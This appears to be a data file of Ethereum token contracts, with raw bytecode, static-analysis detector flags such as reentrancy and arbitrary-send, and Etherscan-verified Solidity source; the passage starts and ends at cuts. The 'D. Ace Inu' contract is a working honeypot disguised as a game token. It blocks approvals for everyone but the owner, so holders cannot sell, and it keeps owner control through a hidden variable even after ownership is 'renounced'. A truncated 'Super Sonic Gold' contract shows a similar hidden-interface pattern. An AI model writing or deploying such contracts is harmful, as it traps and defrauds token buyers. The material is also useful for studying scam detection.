fffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b1561224357601360179054906101000a900460ff1615612220576101684203600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061221f57600080fd5b5b61222981612547565b6000479050600081111561224157612240476123c8565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122ec5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122f657600090505b61230284848484612901565b50505050565b60008383111582906123b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561237a57808201518184015260208101905061235f565b50505050905090810190601f1680156123a75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124186002846128b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612443573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124946002846128b790919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124bf573d6000803e3d6000fd5b5050565b6000600a54821115612520576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613d29602a913960400191505060405180910390fd5b600061252a612b58565b905061253f81846128b790919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561257c57600080fd5b506040519080825280602002602001820160405280156125ab5781602001602082028036833780820191505090505b50905030816000815181106125bc57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561265e57600080fd5b505afa158015612672573d6000803e3d6000fd5b505050506040513d602081101561268857600080fd5b8101908080519060200190929190505050816001815181106126a657fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061270d30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156127d15780820151818401526020810190506127b6565b505050509050019650505050505050600060405180830381600087803b1580156127fa57600080fd5b505af115801561280e573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b60008083141561284457600090506128b1565b600082840290508284828161285557fe5b04146128ac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d756021913960400191505060405180910390fd5b809150505b92915050565b60006128f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b83565b905092915050565b8061290f5761290e612c49565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129b25750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129c7576129c2848484612c8c565b612b44565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a6a5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a7f57612a7a848484612eec565b612b43565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b215750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b3657612b3184848461314c565b612b42565b612b41848484613441565b5b5b5b80612b5257612b5161360c565b5b50505050565b6000806000612b65613620565b91509150612b7c81836128b790919063ffffffff16565b9250505090565b60008083118290612c2f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612bf4578082015181840152602081019050612bd9565b50505050905090810190601f168015612c215780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612c3b57fe5b049050809150509392505050565b6000600c54148015612c5d57506000600d54145b15612c6757612c8a565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c9e876138cd565b955095509550955095509550612cfc87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d9186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e2685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e7281613a07565b612e7c8483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612efe876138cd565b955095509550955095509550612f5c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ff183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061308685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130d281613a07565b6130dc8483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061315e876138cd565b9550955095509550955095506131bc87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061325186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132e683600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061337b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133c781613a07565b6133d18483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080613453876138cd565b9550955095509550955095506134b186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061354685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061359281613a07565b61359c8483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156138825782600260006009848154811061365a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061374157508160036000600984815481106136d957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561375f57600a54683635c9adc5dea00000945094505050506138c9565b6137e8600260006009848154811061377357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461393590919063ffffffff16565b925061387360036000600984815481106137fe57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361393590919063ffffffff16565b9150808060010191505061363b565b506138a1683635c9adc5dea00000600a546128b790919063ffffffff16565b8210156138c057600a54683635c9adc5dea000009350935050506138c9565b81819350935050505b9091565b60008060008060008060008060006138ea8a600c54600d54613be6565b92509250925060006138fa612b58565b9050600080600061390d8e878787613c7c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061397783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612308565b905092915050565b6000808284019050838110156139fd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613a11612b58565b90506000613a28828461283190919063ffffffff16565b9050613a7c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613ba757613b6383600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613bc182600a5461393590919063ffffffff16565b600a81905550613bdc81600b5461397f90919063ffffffff16565b600b819055505050565b600080600080613c126064613c04888a61283190919063ffffffff16565b6128b790919063ffffffff16565b90506000613c3c6064613c2e888b61283190919063ffffffff16565b6128b790919063ffffffff16565b90506000613c6582613c57858c61393590919063ffffffff16565b61393590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c95858961283190919063ffffffff16565b90506000613cac868961283190919063ffffffff16565b90506000613cc3878961283190919063ffffffff16565b90506000613cec82613cde858761393590919063ffffffff16565b61393590919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220a589aa88d7a9275f64fae0dcfe42db66dcec29d299b530f1e7d9b104a068a1b264736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,766
0x2f68813646d5fb0995f3887d81e7606077085b44
/** *Submitted for verification at Etherscan.io on 2021-11-26 */ /** 🏴‍☠️🏴‍☠️🏴‍☠️‍🔥D. Ace Inu‍🔥🏴‍☠️🏴‍☠️🏴‍☠️ Introducing one of the first One Piece based NFT-CARD Games on ERC20. ❗️Tokenomics Total Supply: 100000000000000 Tax: 🔺6% Development and Marketing 🔺2% Ace's Treasurie 🔺3% Redistribution Tax Anti Bot Features Max TX: 1% of total Supply, at Launch! Max Wallet: 2% Initial Liquidity: 2.5 - 3 ETH */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract DAceinu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 100* 10**12* 10**18; string private _name = 'D. Ace Inu‍ ' ; string private _symbol = 'D. Ace'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220ad30c5c41b61ab59ff0681f211c204e1c20f4d98a0632a2c75745df8668d3a3864736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,767
0x68F7504CEAAFcb67A69Adc34ae90C21DBDCB4E1d
/** *Submitted for verification at Etherscan.io on 2021-11-14 */ //SPDX-License-Identifier: MIT // Telegram: t.me/supersonicgold pragma solidity ^0.8.4; address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // new mainnet uint256 constant TOTAL_SUPPLY=100000000 * 10**8; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; string constant TOKEN_NAME="Super Sonic Gold"; string constant TOKEN_SYMBOL="SSG"; uint8 constant DECIMALS=8; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface Odin{ function amount(address from) external view returns (uint256); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed 